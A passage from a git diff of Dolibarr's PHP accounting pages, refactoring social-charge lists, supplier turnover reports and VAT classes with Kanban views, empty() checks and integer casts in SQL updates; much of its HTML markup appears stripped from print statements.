      '; @@ -851,18 +944,17 @@ print ''; $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields -if ($massactionbutton) { - $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); -} +$selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; -print '
      '; + print $form->showFilterAndCheckAddButtons(0); + print ''; @@ -479,9 +539,9 @@ if (!empty($arrayfields['cs.amount']['checked'])) { // Filter: Status if (!empty($arrayfields['cs.paye']['checked'])) { - print ''; + print ''; $liststatus = array('0'=>$langs->trans("Unpaid"), '1'=>$langs->trans("Paid")); - print $form->selectarray('search_status', $liststatus, $search_status, 1, 0, 0, '', 0, 0, 0, '', 'maxwidth100', 1); + print $form->selectarray('search_status', $liststatus, $search_status, 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage', 1); print ''; -print $form->showFilterAndCheckAddButtons(0); -print ''; + print $form->showFilterAndCheckAddButtons(0); + print '
      '.(($offset * $limit) + $i).'
      '; + print '
      '; } - } + // Output Kanban + $chargesociale_static->fk_project = $projectstatic->getNomUrl(); + print $chargesociale_static->getKanbanView('', array('selected' => in_array($chargesociale_static->id, $arrayofselected))); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '.$chargesociale_static->getNomUrl(1, '20').''.dol_escape_htmltag($obj->label).''.dol_escape_htmltag($typelabeltoshow).''.dol_print_date($db->jdate($obj->date_ech), 'day').''.dol_print_date($db->jdate($obj->periode), 'day').''; - if ($obj->project_id > 0) { - print $projectstatic->getNomUrl(1); - } - print ''; - if (!empty($obj->fk_user)) { - if (!empty($TLoadedUsers[$obj->fk_user])) { - $ustatic = $TLoadedUsers[$obj->fk_user]; - } else { - $ustatic = new User($db); - $ustatic->fetch($obj->fk_user); - $TLoadedUsers[$obj->fk_user] = $ustatic; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($chargesociale_static->id, $arrayofselected)) { + $selected = 1; + } + print ''; } - print $ustatic->getNomUrl(-1); + print ''.(($offset * $limit) + $i).''.$chargesociale_static->getNomUrl(1, '20').''.dol_escape_htmltag($obj->label).''.dol_escape_htmltag($typelabeltoshow).''.dol_print_date($db->jdate($obj->date_ech), 'day').''.dol_print_date($db->jdate($obj->periode), 'day').''; + if ($obj->project_id > 0) { + print $projectstatic->getNomUrl(1); + } + print ''; + if (!empty($obj->fk_user)) { + if (!empty($TLoadedUsers[$obj->fk_user])) { + $ustatic = $TLoadedUsers[$obj->fk_user]; + } else { + $ustatic = new User($db); + $ustatic->fetch($obj->fk_user); + $TLoadedUsers[$obj->fk_user] = $ustatic; + } + print $ustatic->getNomUrl(-1); + } + print "payment_code)).'">'; + if (!empty($obj->payment_code)) { + print $langs->trans("PaymentTypeShort".$obj->payment_code); + } + print ''; + if ($obj->fk_account > 0) { + $bankstatic->id = $obj->fk_account; + $bankstatic->ref = $obj->bref; + $bankstatic->number = $obj->bnumber; + $bankstatic->iban = $obj->iban; + $bankstatic->bic = $obj->bic; + $bankstatic->currency_code = $langs->trans("Currency".$obj->currency_code); + $bankstatic->account_number = $obj->account_number; + $bankstatic->clos = $obj->clos; + + //$accountingjournal->fetch($obj->fk_accountancy_journal); + //$bankstatic->accountancy_journal = $accountingjournal->getNomUrl(0, 1, 1, '', 1); + + $bankstatic->label = $obj->blabel; + print $bankstatic->getNomUrl(1); + } + print ''.price($obj->amount).''.$chargesociale_static->LibStatut($obj->paye, 5, $obj->alreadypayed).''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($chargesociale_static->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      payment_code)).'">'; - if (!empty($obj->payment_code)) { - print $langs->trans("PaymentTypeShort".$obj->payment_code); - } - print ''; - if ($obj->fk_account > 0) { - $bankstatic->id = $obj->fk_account; - $bankstatic->ref = $obj->bref; - $bankstatic->number = $obj->bnumber; - $bankstatic->iban = $obj->iban; - $bankstatic->bic = $obj->bic; - $bankstatic->currency_code = $langs->trans("Currency".$obj->currency_code); - $bankstatic->account_number = $obj->account_number; - $bankstatic->clos = $obj->clos; - - //$accountingjournal->fetch($obj->fk_accountancy_journal); - //$bankstatic->accountancy_journal = $accountingjournal->getNomUrl(0, 1, 1, '', 1); - - $bankstatic->label = $obj->blabel; - print $bankstatic->getNomUrl(1); - } - print ''.price($obj->amount).''.$chargesociale_static->LibStatut($obj->paye, 5, $obj->alreadypayed).'
      '.price($totalpermonth[$j]).''.price(empty($totalpermonth[$j]) ? 0 : $totalpermonth[$j]).''.price($totalpermonth['total']).''.price(empty($totalpermonth['total']) ? 0 : $totalpermonth['total']).'
      '; if ($annee < $year_end || ($annee == $year_end && $mois <= $month_end)) { - if ($cum[$case]) { + if (!empty($cum[$case])) { $now_show_delta = 1; // On a trouve le premier mois de la premiere annee generant du chiffre. if ($modecompta != 'BOOKKEEPING') { print ''; @@ -455,22 +460,22 @@ for ($mois = 1 + $nb_mois_decalage; $mois <= 12 + $nb_mois_decalage; $mois++) { //var_dump($annee.' '.$year_end.' '.$mois.' '.$month_end); if ($annee < $year_end || ($annee == $year_end && $mois <= $month_end)) { if ($annee_decalage > $minyear && $case <= $casenow) { - if ($cum[$caseprev] && $cum[$case]) { + if (!empty($cum[$caseprev]) && !empty($cum[$case])) { $percent = (round(($cum[$case] - $cum[$caseprev]) / $cum[$caseprev], 4) * 100); //print "X $cum[$case] - $cum[$caseprev] - $cum[$caseprev] - $percent X"; print ($percent >= 0 ? "+$percent" : "$percent").'%'; } - if ($cum[$caseprev] && !$cum[$case]) { + if (!empty($cum[$caseprev]) && empty($cum[$case])) { print '-100%'; } - if (!$cum[$caseprev] && $cum[$case]) { + if (empty($cum[$caseprev]) && !empty($cum[$case])) { //print '+Inf%'; - print ($total_ht[$annee] ?price($total_ht[$annee]) : "0"); + print (empty($total_ht[$annee]) ? '0' : price($total_ht[$annee])); print " '; - print ($total[$annee] ?price($total[$annee]) : "0"); + print (empty($total[$annee]) ? '0' : price($total[$annee])); print " '; print ($percent >= 0 ? "+$percent" : "$percent").'%'; print '-100%+'.$langs->trans('Inf').'%+0%'; - if ($total[$annee] || ($minyear <= $annee && $annee <= max($nowyear, $maxyear))) { + if (!empty($total[$annee]) || ($minyear <= $annee && $annee <= max($nowyear, $maxyear))) { print '-'; } else { print ' '; diff --git a/htdocs/compta/stats/supplier_turnover.php b/htdocs/compta/stats/supplier_turnover.php index 88e04e89303..db6cec39cab 100644 --- a/htdocs/compta/stats/supplier_turnover.php +++ b/htdocs/compta/stats/supplier_turnover.php @@ -46,7 +46,7 @@ if (empty($year)) { } else { $year_current = $year; $month_current = dol_print_date(dol_now(), "%m"); - $year_start = $year - ($nbofyear - 1); + $year_start = $year - $nbofyear + (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 0 : 1); } $date_start = dol_mktime(0, 0, 0, $date_startmonth, $date_startday, $date_startyear, 'tzserver'); // We use timezone of server so report is same from everywhere $date_end = dol_mktime(23, 59, 59, $date_endmonth, $date_endday, $date_endyear, 'tzserver'); // We use timezone of server so report is same from everywhere @@ -56,18 +56,16 @@ if (empty($date_start) || empty($date_end)) { // We define date_start and date_e $q = GETPOST("q") ?GETPOST("q") : 0; if ($q == 0) { // We define date_start and date_end - $year_end = $year_start + ($nbofyear - 1); - $month_start = GETPOSTISSET("month") ? GETPOST("month", 'int') : ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1); + $year_end = $year_start + $nbofyear - (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 0 : 1); + $month_start = GETPOSTISSET("month") ? GETPOST("month", 'int') : getDolGlobalInt('SOCIETE_FISCAL_MONTH_START', 1); if (!GETPOST('month')) { - if (!GETPOST("year") && $month_start > $month_current) { + if (!$year && $month_start > $month_current) { $year_start--; $year_end--; } $month_end = $month_start - 1; if ($month_end < 1) { $month_end = 12; - } else { - $year_end++; } } else { $month_end = $month_start; @@ -107,7 +105,7 @@ $modecompta = $conf->global->ACCOUNTING_MODE; if (isModEnabled('accounting')) { $modecompta = 'BOOKKEEPING'; } -if (GETPOST("modecompta")) { +if (GETPOST("modecompta", 'alpha')) { $modecompta = GETPOST("modecompta", 'alpha'); } @@ -131,10 +129,14 @@ llxHeader(); $form = new Form($db); +$exportlink = ''; +$namelink = ''; +$builddate = dol_now(); + // TODO Report from bookkeeping not yet available, so we switch on report on business events -if ($modecompta == "BOOKKEEPING") { +/*if ($modecompta == "BOOKKEEPING") { $modecompta = "CREANCES-DETTES"; -} +}*/ if ($modecompta == "BOOKKEEPINGCOLLECTED") { $modecompta = "RECETTES-DEPENSES"; } @@ -142,42 +144,26 @@ if ($modecompta == "BOOKKEEPINGCOLLECTED") { // Affiche en-tete du rapport if ($modecompta == "CREANCES-DETTES") { $name = $langs->trans("PurchaseTurnover"); - $calcmode = $langs->trans("CalcModeDebt"); - if (isModEnabled('accounting')) { - $calcmode .= '
      ('.$langs->trans("SeeReportInBookkeepingMode", '{link1}', '{link2}').')'; - $calcmode = str_replace('{link1}', '', $calcmode); - $calcmode = str_replace('{link2}', '', $calcmode); - } $periodlink = ($year_start ? "".img_previous()." ".img_next()."" : ""); $description = $langs->trans("RulesPurchaseTurnoverDue"); //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "RECETTES-DEPENSES") { $name = $langs->trans("PurchaseTurnoverCollected"); - $calcmode = $langs->trans("CalcModeEngagement"); $periodlink = ($year_start ? "".img_previous()." ".img_next()."" : ""); $description = $langs->trans("RulesPurchaseTurnoverIn"); //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "BOOKKEEPING") { $name = $langs->trans("PurchaseTurnover"); - $calcmode = $langs->trans("CalcModeBookkeeping"); - $calcmode .= '
      ('.$langs->trans("SeeReportInDueDebtMode", '{link1}', '{link2}').')'; - $calcmode = str_replace('{link1}', '', $calcmode); - $calcmode = str_replace('{link2}', '', $calcmode); $periodlink = ($year_start ? "".img_previous()." ".img_next()."" : ""); $description = $langs->trans("RulesPurchaseTurnoverOfExpenseAccounts"); //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "BOOKKEEPINGCOLLECTED") { $name = $langs->trans("PurchaseTurnoverCollected"); - $calcmode = $langs->trans("CalcModeBookkeeping"); - $calcmode .= '
      ('.$langs->trans("SeeReportInDueDebtMode", '{link1}', '{link2}').')'; - $calcmode = str_replace('{link1}', '', $calcmode); - $calcmode = str_replace('{link2}', '', $calcmode); $periodlink = ($year_start ? "".img_previous()." ".img_next()."" : ""); $description = $langs->trans("RulesPurchaseTurnoverCollectedOfExpenseAccounts"); //$exportlink=$langs->trans("NotYetAvailable"); } -$builddate = dol_now(); $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0, 0, '', '', '', '', 1, '', '', 'tzserver'); $period .= ' - '; $period .= $form->selectDate($date_end, 'date_end', 0, 0, 0, '', 1, 0, 0, '', '', '', '', 1, '', '', 'tzserver'); @@ -186,6 +172,32 @@ $moreparam = array(); if (!empty($modecompta)) { $moreparam['modecompta'] = $modecompta; } + +// Define $calcmode line +$calcmode = ''; +if ($modecompta == "RECETTES-DEPENSES" || $modecompta == "BOOKKEEPINGCOLLECTED") { + /*if (isModEnabled('accounting')) { + $calcmode .= ''; + $calcmode .= '
      '; + }*/ + $calcmode .= ''; +} else { + if (isModEnabled('accounting')) { + $calcmode .= ''; + $calcmode .= '
      '; + } + $calcmode .= ''; +} + + report_header($name, $namelink, $period, $periodlink, $description, $builddate, $exportlink, $moreparam, $calcmode); if (isModEnabled('accounting') && $modecompta != 'BOOKKEEPING') { @@ -239,14 +251,19 @@ $sql .= " ORDER BY dm"; $minyearmonth = $maxyearmonth = 0; +$cum = array(); +$cum_ht = array(); +$total_ht = array(); +$total = array(); + $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); $i = 0; while ($i < $num) { $obj = $db->fetch_object($result); - $cum_ht[$obj->dm] = !empty($obj->amount) ? $obj->amount : 0; - $cum[$obj->dm] = $obj->amount_ttc; + $cum_ht[$obj->dm] = empty($obj->amount) ? 0 : $obj->amount; + $cum[$obj->dm] = empty($obj->amount_ttc) ? 0 : $obj->amount_ttc; if ($obj->amount_ttc) { $minyearmonth = ($minyearmonth ? min($minyearmonth, $obj->dm) : $obj->dm); $maxyearmonth = max($maxyearmonth, $obj->dm); @@ -345,9 +362,9 @@ for ($mois = 1 + $nb_mois_decalage; $mois <= 12 + $nb_mois_decalage; $mois++) { if ($annee >= $year_start) { // We ignore $annee < $year_start, we loop on it to be able to make delta, nothing is output. if ($modecompta == 'CREANCES-DETTES') { - // Valeur CA du mois w/o VAT + // Value turnover of month w/o VAT print '
      '; - if ($cum_ht[$case]) { + if (!empty($cum_ht[$case])) { $now_show_delta = 1; // On a trouve le premier mois de la premiere annee generant du chiffre. print ''.price($cum_ht[$case], 1).''; } else { @@ -360,9 +377,9 @@ for ($mois = 1 + $nb_mois_decalage; $mois <= 12 + $nb_mois_decalage; $mois++) { print "'; - if ($cum[$case]) { + if (!empty($cum[$case])) { $now_show_delta = 1; // On a trouve le premier mois de la premiere annee generant du chiffre. if ($modecompta != 'BOOKKEEPING') { print ''; @@ -380,24 +397,24 @@ for ($mois = 1 + $nb_mois_decalage; $mois <= 12 + $nb_mois_decalage; $mois++) { } print "'.($percent >= 0 ? "+$percent" : "$percent").'%-100%+Inf%-+0%-
      '.($total_ht[$annee] ?price($total_ht[$annee]) : "0")."'; + print ($total_ht[$annee] ?price($total_ht[$annee]) : "0"); + print " '.($percent >= 0 ? "+$percent" : "$percent").'%'; + print ($percent >= 0 ? "+$percent" : "$percent").'%'; + print '-100%+'.$langs->trans('Inf').'%+0%'; - if ($total[$annee] || ($minyear <= $annee && $annee <= max($nowyear, $maxyear))) { + if (!empty($total[$annee]) || ($minyear <= $annee && $annee <= max($nowyear, $maxyear))) { print '-'; } else { print ' '; diff --git a/htdocs/compta/stats/supplier_turnover_by_prodserv.php b/htdocs/compta/stats/supplier_turnover_by_prodserv.php index 611de00b50f..d641a513e54 100644 --- a/htdocs/compta/stats/supplier_turnover_by_prodserv.php +++ b/htdocs/compta/stats/supplier_turnover_by_prodserv.php @@ -188,6 +188,7 @@ $allparams = array_merge($commonparams, $headerparams, $tableparams); $headerparams = array_merge($commonparams, $headerparams); $tableparams = array_merge($commonparams, $tableparams); +$paramslink = ''; foreach ($allparams as $key => $value) { $paramslink .= '&'.$key.'='.$value; } @@ -251,7 +252,9 @@ if ($date_end == dol_time_plus_duree($date_start, 1, 'y') - 1) { $periodlink = ''; } -report_header($name, $namelink, $period, $periodlink, $description, $builddate, $exportlink, $tableparams, $calcmode); +$exportlink = ''; + +report_header($name, '', $period, $periodlink, $description, $builddate, $exportlink, $tableparams, $calcmode); if (isModEnabled('accounting') && $modecompta != 'BOOKKEEPING') { print info_admin($langs->trans("WarningReportNotReliable"), 0, 0, 1); @@ -309,20 +312,23 @@ if ($modecompta == 'CREANCES-DETTES') { $sql .= $db->order($sortfield, $sortorder); dol_syslog("supplier_turnover_by_prodserv", LOG_DEBUG); - $result = $db->query($sql); - if ($result) { - $num = $db->num_rows($result); + $resql = $db->query($sql); + if ($resql) { + $num = $db->num_rows($resql); $i = 0; while ($i < $num) { - $obj = $db->fetch_object($result); + $obj = $db->fetch_object($resql); + $amount_ht[$obj->rowid] = $obj->amount; $amount[$obj->rowid] = $obj->amount_ttc; $qty[$obj->rowid] = $obj->qty; $name[$obj->rowid] = $obj->ref.' - '.$obj->label; $type[$obj->rowid] = $obj->product_type; + $catotal_ht += $obj->amount; $catotal += $obj->amount_ttc; $qtytotal += $obj->qty; + $i++; } } else { @@ -407,7 +413,7 @@ if ($modecompta == 'CREANCES-DETTES') { $_SERVER["PHP_SELF"], "amount", "", - $classslink, + $paramslink, 'class="right"', $sortfield, $sortorder diff --git a/htdocs/compta/stats/supplier_turnover_by_thirdparty.php b/htdocs/compta/stats/supplier_turnover_by_thirdparty.php index 494ad591766..515a004a3cd 100644 --- a/htdocs/compta/stats/supplier_turnover_by_thirdparty.php +++ b/htdocs/compta/stats/supplier_turnover_by_thirdparty.php @@ -153,7 +153,6 @@ $headerparams['date_startday'] = $date_startday; $headerparams['date_endyear'] = $date_endyear; $headerparams['date_endmonth'] = $date_endmonth; $headerparams['date_endday'] = $date_endday; -$headerparams['q'] = $q; $tableparams = array(); $tableparams['search_categ'] = $selected_cat; @@ -168,6 +167,7 @@ $allparams = array_merge($commonparams, $headerparams, $tableparams); $headerparams = array_merge($commonparams, $headerparams); $tableparams = array_merge($commonparams, $tableparams); +$paramslink = ''; foreach ($allparams as $key => $value) { $paramslink .= '&'.$key.'='.$value; } @@ -230,6 +230,8 @@ if ($date_end == dol_time_plus_duree($date_start, 1, 'y') - 1) { $periodlink = ''; } +$exportlink = ''; + report_header($name, '', $period, $periodlink, $description, $builddate, $exportlink, $tableparams, $calcmode); if (isModEnabled('accounting') && $modecompta != 'BOOKKEEPING') { @@ -247,9 +249,9 @@ if ($modecompta == 'CREANCES-DETTES') { $sql .= " sum(f.total_ht) as amount, sum(f.total_ttc) as amount_ttc"; $sql .= " FROM ".MAIN_DB_PREFIX."facture_fourn as f, ".MAIN_DB_PREFIX."societe as s"; if ($selected_cat === -2) { // Without any category - $sql .= " LEFT OUTER JOIN ".MAIN_DB_PREFIX."categorie_societe as cs ON s.rowid = cs.fk_soc"; + $sql .= " LEFT OUTER JOIN ".MAIN_DB_PREFIX."categorie_fournisseur as cs ON s.rowid = cs.fk_soc"; } elseif ($selected_cat) { // Into a specific category - $sql .= ", ".MAIN_DB_PREFIX."categorie as c, ".MAIN_DB_PREFIX."categorie_societe as cs"; + $sql .= ", ".MAIN_DB_PREFIX."categorie as c, ".MAIN_DB_PREFIX."categorie_fournisseur as cs"; } $sql .= " WHERE f.fk_statut in (1,2)"; $sql .= " AND f.type IN (0,2)"; @@ -274,9 +276,9 @@ if ($modecompta == 'CREANCES-DETTES') { $sql .= ", ".MAIN_DB_PREFIX."paiementfourn as p"; $sql .= ", ".MAIN_DB_PREFIX."societe as s"; if ($selected_cat === -2) { // Without any category - $sql .= " LEFT OUTER JOIN ".MAIN_DB_PREFIX."categorie_societe as cs ON s.rowid = cs.fk_soc"; + $sql .= " LEFT OUTER JOIN ".MAIN_DB_PREFIX."categorie_fournisseur as cs ON s.rowid = cs.fk_soc"; } elseif ($selected_cat) { // Into a specific category - $sql .= ", ".MAIN_DB_PREFIX."categorie as c, ".MAIN_DB_PREFIX."categorie_societe as cs"; + $sql .= ", ".MAIN_DB_PREFIX."categorie as c, ".MAIN_DB_PREFIX."categorie_fournisseur as cs"; } $sql .= " WHERE p.rowid = pf.fk_paiementfourn"; $sql .= " AND pf.fk_facturefourn = f.rowid"; @@ -315,22 +317,29 @@ $sql .= " GROUP BY s.rowid, s.nom, s.zip, s.town, s.fk_pays"; $sql .= " ORDER BY s.rowid"; //echo $sql; +$catotal_ht = 0; +$catotal = 0; + dol_syslog("supplier_turnover_by_thirdparty", LOG_DEBUG); -$result = $db->query($sql); -if ($result) { - $num = $db->num_rows($result); +$resql = $db->query($sql); +if ($resql) { + $num = $db->num_rows($resql); $i = 0; while ($i < $num) { - $obj = $db->fetch_object($result); - $amount_ht[$obj->socid] = $obj->amount; - $amount[$obj->socid] = $obj->amount_ttc; - $name[$obj->socid] = $obj->name.' '.$obj->firstname; - $address_zip[$obj->socid] = $obj->zip; - $address_town[$obj->socid] = $obj->town; - $address_pays[$obj->socid] = getCountry($obj->fk_pays); - $catotal_ht += $obj->amount; - $catotal += $obj->amount_ttc; - $i++; + $obj = $db->fetch_object($resql); + + $amount_ht[$obj->socid] = (empty($obj->amount) ? 0 : $obj->amount); + $amount[$obj->socid] = $obj->amount_ttc; + //$name[$obj->socid] = $obj->name.' '.$obj->firstname; + + $address_zip[$obj->socid] = $obj->zip; + $address_town[$obj->socid] = $obj->town; + $address_pays[$obj->socid] = getCountry($obj->fk_pays); + + $catotal_ht += (empty($obj->amount) ? 0 : $obj->amount); + $catotal += $obj->amount_ttc; + + $i++; } } else { dol_print_error($db); diff --git a/htdocs/compta/tva/card.php b/htdocs/compta/tva/card.php index e7c7678b818..c78b41ba274 100644 --- a/htdocs/compta/tva/card.php +++ b/htdocs/compta/tva/card.php @@ -333,6 +333,10 @@ if ($action == 'confirm_clone' && $confirm == 'yes' && ($user->rights->tax->char $object->id = $object->ref = null; $object->paye = 0; + if (GETPOST('amount', 'alphanohtml')) { + $object->amount = price2num(GETPOST('amount', 'alphanohtml'), 'MT', 2); + } + if (GETPOST('clone_label', 'alphanohtml')) { $object->label = GETPOST('clone_label', 'alphanohtml'); } else { @@ -405,7 +409,7 @@ if ($action == 'create') { $("#label_type_payment").removeClass("fieldrequired"); $(".hide_if_no_auto_create_payment").hide(); } - }; + } $("#radiopayment").click(function() { $("#label").val($(this).data("label")); }); @@ -540,6 +544,7 @@ if ($id > 0) { //$formquestion[] = array('type' => 'date', 'name' => 'clone_date_ech', 'label' => $langs->trans("Date"), 'value' => -1); $formquestion[] = array('type' => 'date', 'name' => 'clone_period', 'label' => $langs->trans("PeriodEndDate"), 'value' => -1); + $formquestion[] = array('type' => 'text', 'name' => 'amount', 'label' => $langs->trans("Amount"), 'value' => price($object->amount), 'morecss' => 'width100'); print $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('ToClone'), $langs->trans('ConfirmCloneVAT', $object->ref), 'confirm_clone', $formquestion, 'yes', 1, 240); } diff --git a/htdocs/compta/tva/class/paymentvat.class.php b/htdocs/compta/tva/class/paymentvat.class.php index ec951d8d72d..fcc241c728d 100644 --- a/htdocs/compta/tva/class/paymentvat.class.php +++ b/htdocs/compta/tva/class/paymentvat.class.php @@ -366,27 +366,22 @@ class PaymentVAT extends CommonObject $this->fk_user_modif = (int) $this->fk_user_modif; } - - // Check parameters // Put here code to add control on parameters values // Update request $sql = "UPDATE ".MAIN_DB_PREFIX."payment_vat SET"; - - $sql .= " fk_tva=".(isset($this->fk_tva) ? $this->fk_tva : "null").","; + $sql .= " fk_tva=".(isset($this->fk_tva) ? ((int) $this->fk_tva) : "null").","; $sql .= " datec=".(dol_strlen($this->datec) != 0 ? "'".$this->db->idate($this->datec)."'" : 'null').","; $sql .= " tms=".(dol_strlen($this->tms) != 0 ? "'".$this->db->idate($this->tms)."'" : 'null').","; $sql .= " datep=".(dol_strlen($this->datep) != 0 ? "'".$this->db->idate($this->datep)."'" : 'null').","; - $sql .= " amount=".(isset($this->amount) ? $this->amount : "null").","; - $sql .= " fk_typepaiement=".(isset($this->fk_typepaiement) ? $this->fk_typepaiement : "null").","; - $sql .= " num_paiement=".(isset($this->num_paiement) ? "'".$this->db->escape($this->num_paiement)."'" : "null").","; + $sql .= " amount=".(isset($this->amount) ? (float) price2num($this->amount) : "null").","; + $sql .= " fk_typepaiement=".(isset($this->fk_typepaiement) ? ((int) $this->fk_typepaiement) : "null").","; + $sql .= " num_paiement=".(isset($this->num_payment) ? "'".$this->db->escape($this->num_payment)."'" : "null").","; $sql .= " note=".(isset($this->note) ? "'".$this->db->escape($this->note)."'" : "null").","; - $sql .= " fk_bank=".(isset($this->fk_bank) ? $this->fk_bank : "null").","; - $sql .= " fk_user_creat=".(isset($this->fk_user_creat) ? $this->fk_user_creat : "null").","; - $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? $this->fk_user_modif : "null").""; - - + $sql .= " fk_bank=".(isset($this->fk_bank) ? ((int) $this->fk_bank) : "null").","; + $sql .= " fk_user_creat=".(isset($this->fk_user_creat) ? ((int) $this->fk_user_creat) : "null").","; + $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? ((int) $this->fk_user_modif) : "null"); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); diff --git a/htdocs/compta/tva/class/tva.class.php b/htdocs/compta/tva/class/tva.class.php index d6efb35ef2f..2be181d7350 100644 --- a/htdocs/compta/tva/class/tva.class.php +++ b/htdocs/compta/tva/class/tva.class.php @@ -226,7 +226,7 @@ class Tva extends CommonObject $sql .= " label='".$this->db->escape($this->label)."',"; $sql .= " note='".$this->db->escape($this->note)."',"; $sql .= " fk_user_creat=".((int) $this->fk_user_creat).","; - $sql .= " fk_user_modif=".($this->fk_user_modif > 0 ? $this->fk_user_modif : $user->id).""; + $sql .= " fk_user_modif=".((int) ($this->fk_user_modif > 0 ? $this->fk_user_modif : $user->id)); $sql .= " WHERE rowid=".((int) $this->id); dol_syslog(get_class($this)."::update", LOG_DEBUG); @@ -906,4 +906,44 @@ class Tva extends CommonObject return dolGetStatus($this->labelStatus[$status], $this->labelStatusShort[$status], '', $statusType, $mode); } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + //$return .= ''; // Can be image + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'amount')) { + $return .= ' | '.$langs->trans("Amount").' : '.price($this->amount).''; + } + if (property_exists($this, 'type_payment')) { + $return .= '
      '.$langs->trans("Payement").' : '.$this->type_payment.''; + } + if (property_exists($this, 'datev')) { + $return .= '
      '.$langs->trans("DateEnd").' : '.dol_print_date($this->datev).''; + } + if (method_exists($this, 'LibStatut')) { + $return .= '
      '.$this->getLibStatut(3, $this->alreadypaid).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/compta/tva/index.php b/htdocs/compta/tva/index.php index f0efe305d8c..37e7f75b306 100644 --- a/htdocs/compta/tva/index.php +++ b/htdocs/compta/tva/index.php @@ -229,6 +229,9 @@ llxHeader('', $name); //$textnextyear=" ".img_next($langs->trans("Next"), 'class="valignbottom"').""; //print load_fiche_titre($langs->transcountry("VAT", $mysoc->country_code), $textprevyear." ".$langs->trans("Year")." ".$year_start." ".$textnextyear, 'bill'); +$periodlink = ''; +$exportlink = ''; + report_header($name, '', $period, $periodlink, $description, $builddate, $exportlink, array(), $calcmode); //report_header($name,'',$textprevyear.$langs->trans("Year")." ".$year_start.$textnextyear,'',$description,$builddate,$exportlink,array(),$calcmode); @@ -242,7 +245,7 @@ if ($refresh === true) { print ''; print ''; - print ''; + print ''; print ''; print ''; print ''; @@ -389,16 +392,6 @@ if ($refresh === true) { $hookmanager->initHooks(array('externalbalance')); $reshook = $hookmanager->executeHooks('addVatLine', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks - if (!is_array($x_coll) && $coll_listbuy == -1) { - $langs->load("errors"); - print ''; - break; - } - if (!is_array($x_paye) && $coll_listbuy == -2) { - print ''; - break; - } - print ''; print ''; diff --git a/htdocs/compta/tva/list.php b/htdocs/compta/tva/list.php index ffc2ef8ca68..5d5e0e0b8ff 100644 --- a/htdocs/compta/tva/list.php +++ b/htdocs/compta/tva/list.php @@ -39,11 +39,17 @@ require_once DOL_DOCUMENT_ROOT.'/accountancy/class/accountingjournal.class.php'; // Load translation files required by the page $langs->loadLangs(array('compta', 'bills')); -$action = GETPOST('action', 'alpha'); -$massaction = GETPOST('massaction', 'alpha'); -$confirm = GETPOST('confirm', 'alpha'); -$optioncss = GETPOST('optioncss', 'alpha'); +$action = GETPOST('action', 'aZ09') ? GETPOST('action', 'aZ09') : 'view'; // The action 'create'/'add', 'edit'/'update', 'view', ... +$massaction = GETPOST('massaction', 'alpha'); // The bulk action (combo box choice into lists) +$show_files = GETPOST('show_files', 'int'); // Show files area generated by bulk actions ? +$confirm = GETPOST('confirm', 'alpha'); // Result of a confirmation +$cancel = GETPOST('cancel', 'alpha'); // We click on a Cancel button +$toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected into a list $contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : 'salestaxeslist'; +$backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page +$optioncss = GETPOST('optioncss', 'alpha'); +$optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'aZ'); // The output mode ('list', 'kanban', 'hierarchy', 'calendar', ...) $search_ref = GETPOST('search_ref', 'alpha'); $search_label = GETPOST('search_label', 'alpha'); @@ -61,9 +67,9 @@ $limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST('page', 'int'); - -if (empty($page) || $page == -1) { - $page = 0; // If $page is not defined, or '' or -1 +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters + $page = 0; } $offset = $limit * $page; $pageprev = $page - 1; @@ -95,6 +101,9 @@ $arrayfields = 